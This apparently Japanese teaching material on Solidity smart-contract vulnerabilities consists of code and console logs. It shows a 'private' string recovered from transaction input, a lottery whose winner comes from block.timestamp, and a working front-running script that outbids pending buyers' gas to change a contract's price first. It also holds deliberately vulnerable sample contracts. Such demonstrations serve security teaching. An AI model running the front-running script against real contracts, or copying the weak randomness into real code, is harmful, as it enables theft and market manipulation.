> eth.getTransaction('0xd34e1aa86318225a66a77399f95a835b250ac75139c1c01eb2a80d3636238939').input
"0x6060604052341561000c57fe5b604051610263380380610263833981016040528051015b805161003690600090602084019061003e565b505b506100de565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061007f57805160ff19168380011785556100ac565b828001600101855582156100ac579182015b828111156100ac578251825591602001919060010190610091565b5b506100b99291506100bd565b5090565b6100db91905b808211156100b957600081556001016100c3565b5090565b90565b610176806100ed6000396000f300606060405263ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416637ed6c926811461003a575bfe5b341561004257fe5b610090600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284375094965061009295505050505050565b005b80516100a59060009060208401906100aa565b505b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100eb57805160ff1916838001178555610118565b82800160010185558215610118579182015b828111156101185782518255916020019190600101906100fd565b5b50610125929150610129565b5090565b61014791905b80821115610125576000815560010161012f565b5090565b905600a165627a7a72305820548d2d70ba56a4626512317eed38e749eae8a73a9d5322c580ebab786f1c12d90029000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000047465737400000000000000000000000000000000000000000000000000000000"

> web3.toAscii("0x74657374")
"test"

> eth.getTransaction('0x1bf2c055abc6e5d0f861c64c52c7a84419c4b80a41edbf954bce7c78b4147392').input
"0x7ed6c926000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000076b6f757368696e00000000000000000000000000000000000000000000000000"

> web3.toAscii("0x6b6f757368696e")
"koushin"

pragma solidity ^0.4.11;
contract Secret {
    string private secret;    // 秘密の文字列

    /// コンストラクタ
    function Secret(string _secret) {
        secret = _secret;
    }

    /// 秘密の文字列を設定
    function setSecret(string _secret) public {
        secret = _secret;
    }
}

> eth.getBlock(15909).timestamp
1627990495

pragma solidity ^0.4.11;
contract Lottery {
    mapping (uint => address) public applicants;    // 応募者を管理
    uint public numApplicants;      // 応募者数を管理
    address public winnerAddress;   // 抽選者情報
    uint public winnerInd;          // 当選者のインデックス
    address public owner;           // オーナー
    uint public timestamp;          // タイムスタンプ

    /// ownerチェック用のmodifier
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    /// コンストラクタ
    function Lottery() {
        numApplicants = 0;
        owner = msg.sender;
    }

    /// 抽選に申し込む関数
    function enter() public {
        // 応募者数は3人まで
        require(numApplicants < 3);
        // すでに応募済みであれば処理を終了
        for(uint i = 0; i < numApplicants; i++) {
            require(applicants[i] != msg.sender);
        }
        // 応募を受け付ける
        applicants[numApplicants++] = msg.sender;
    }

    /// 抽選を行う
    function hold() public onlyOwner {
        // 応募者が3人に達していない場合は処理を終了
        require(numApplicants == 3);
        // タイムスタンプを設定
        timestamp = block.timestamp;
        // 抽選
        winnerInd = timestamp % 3;
        winnerAddress = applicants[winnerInd];
    }
}

var filter = web3.eth.filter('pending');
filter.watch(function(error, result){
    var tx = web3.eth.getTransaction(result);
    if(!error && tx.to.toUpperCase() === mpt.address.toUpperCase() && tx.from !== eth.accounts[0]) {
        console.log('Tx Hash:' + result);
        var _gasPrice = parseInt(tx.gasPrice, 10) + 1;
        console.log('Gas Price:' + _gasPrice);
        var attackTx = mpt.updatePrice.sendTransaction(25,{from:eth.accounts[0], gas:5000000, gasPrice:_gasPrice});
        console.log('Attack Tx Hash:' + attackTx);
        console.log('done');
    }
});

> personal.unlockAccount(eth.accounts[0])
Unlock account 0xec3b01f36b44182746ca109230567c4915512e35
Passphrase:
true

> personal.unlockAccount(eth.accounts[1])
Unlock account 0x63f25b9bbd974fdfa07477cb99c60d2073cfe560
Passphrase:
true

> mpt.buy.sendTransaction(10, {from:eth.accounts[1], gas:5000000, gasPrice:50000000000, value:web3.toWei(500, "wei")});
"0xc9d81f9a6a65554a963ca178fc0e0026bb95c88ed05892d7ffbec4786fe5b5b1"

[↓↓↓自動で実行される]
> Tx Hash:0xc9d81f9a6a65554a963ca178fc0e0026bb95c88ed05892d7ffbec4786fe5b5b1
Gas Price:50000000001
Attack Tx Hash:0xfca59c8a842abb5154a3953a7a3092d2ecf43d83b1c74db4ddcf863817a7e454
done

> personal.unlockAccount(eth.accounts[0])
Unlock account 0xec3b01f36b44182746ca109230567c4915512e35
Passphrase:
true

> personal.unlockAccount(eth.accounts[1])
Unlock account 0x63f25b9bbd974fdfa07477cb99c60d2073cfe560
Passphrase:
true

> mpt.buy.sendTransaction(10, {from:eth.accounts[1], gas:5000000, gasPrice:90000000000, value:web3.toWei(500, "wei")});
"0xb3e313756c83d6dc25384c3edb45dd173cd7382f2ace5a7e91e059f424a4be1d"

> mpt.updatePrice.sendTransaction(15, {from:eth.accounts[0], gas:5000000, gasPrice:50000000000});
"0xc67339009a3350ebdc93aef77079a3b35ed7cfcf1b594febd1e546f26e690074"

var mpt = eth.contract(インターフェース).at('アドレス')

var mpt = eth.contract([ { "constant": true, "inputs": [], "name": "stockQuantity", "outputs": [ { "name": "", "type": "uint256", "value": "100" } ], "payable": false, "type": "function" }, { "constant": false, "inputs": [ { "name": "_price", "type": "uint256" } ], "name": "updatePrice", "outputs": [], "payable": false, "type": "function" }, { "constant": true, "inputs": [], "name": "owner", "outputs": [ { "name": "", "type": "address", "value": "0xec3b01f36b44182746ca109230567c4915512e35" } ], "payable": false, "type": "function" }, { "constant": true, "inputs": [], "name": "price", "outputs": [ { "name": "", "type": "uint256", "value": "10" } ], "payable": false, "type": "function" }, { "constant": false, "inputs": [ { "name": "_quantity", "type": "uint256" } ], "name": "buy", "outputs": [], "payable": true, "type": "function" }, { "inputs": [], "payable": false, "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": false, "name": "_price", "type": "uint256" } ], "name": "UpdatePrice", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "name": "_price", "type": "uint256" }, { "indexed": false, "name": "_quantity", "type": "uint256" }, { "indexed": false, "name": "_value", "type": "uint256" }, { "indexed": false, "name": "_change", "type": "uint256" } ], "name": "Buy", "type": "event" } ]).at('0x350aC614C66c28dF49B9791A59c2b388b3253F18')

> mpt
{
  abi: [{
      constant: true,
      inputs: [],
      name: "stockQuantity",
      outputs: [{...}],
      payable: false,
      type: "function"
  }, {
      constant: false,
      inputs: [{...}],
      name: "updatePrice",
      outputs: [],
      payable: false,
      type: "function"
  }, {
      constant: true,
      inputs: [],
      name: "owner",
      outputs: [{...}],
      payable: false,
      type: "function"
  }, {
      constant: true,
      inputs: [],
      name: "price",
      outputs: [{...}],
      payable: false,
      type: "function"
  }, {
      constant: false,
      inputs: [{...}],
      name: "buy",
      outputs: [],
      payable: true,
      type: "function"
  }, {
      inputs: [],
      payable: false,
      type: "constructor"
  }, {
      anonymous: false,
      inputs: [{...}],
      name: "UpdatePrice",
      type: "event"
  }, {
      anonymous: false,
      inputs: [{...}, {...}, {...}, {...}],
      name: "Buy",
      type: "event"
  }],
  address: "0x350aC614C66c28dF49B9791A59c2b388b3253F18",
  transactionHash: null,
  Buy: function(),
  UpdatePrice: function(),
  allEvents: function(),
  buy: function(),
  owner: function(),
  price: function(),
  stockQuantity: function(),
  updatePrice: function()
}

pragma solidity ^0.4.11;

contract MarketPlaceTOD {
    address public owner;
    uint public price;          // 1個あたりの金額
    uint public stockQuantity;  // 在庫数

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    event UpdatePrice(uint _price);
    event Buy(uint _price, uint _quantity, uint _value, uint _change);

    /// コンストラクタ
    function MarketPlaceTOD() {
        owner = msg.sender;
        price = 10;
        stockQuantity = 100;
    }

    /// １個あたりの金額を更新
    function updatePrice(uint _price) public onlyOwner {
        price = _price;
        UpdatePrice(price);
    }

    /// 購入処理
    function buy(uint _quantity) public payable {
        // 購入金額と在庫数を確認
        if (msg.value < _quantity * price || _quantity > stockQuantity) {
            throw;
        }

        // お釣りを返す
        if(!msg.sender.send(msg.value - _quantity * price)) {
            throw;
        }

        stockQuantity -= _quantity;     // 在庫を減らす
        Buy(price, _quantity, msg.value, msg.value - _quantity * price);
    }
}

pragma solidity ^0.4.11;
contract  VictimBalance {
    // アドレス毎に残高を管理
    mapping (address => uint) public userBalances;
    event MessageLog(string);   // メッセージ表示用のイベント
    event BalanceLog(uint);     // 残高表示用のイベント

    /// コンストラクタ
    function VictimBalance() {
    }

    /// 送金される際に呼ばれる関数
    function addToBalance() public payable {
        userBalances[msg.sender] += msg.value;
    }

    /// etherを引き出す時に呼ばれる関数
    function withdrawBalance() public payable returns(bool) {
        MessageLog("== withdrawBalance started. ==");
        BalanceLog(this.balance);

        // ①残高を確認
        if(userBalances[msg.sender] == 0) {
            MessageLog("No Balance.");
            return false;
        }

        // ②残高更新前に送金額を退避
        uint amount = userBalances[msg.sender];

        // ③残高を更新
        userBalances[msg.sender] = 0;

        // ④呼出し元に返金
        if (!(msg.sender.call.value(amount)())) { throw; }

        MessageLog("=== withdrawBalance finished. ==");
        return true;
    }
}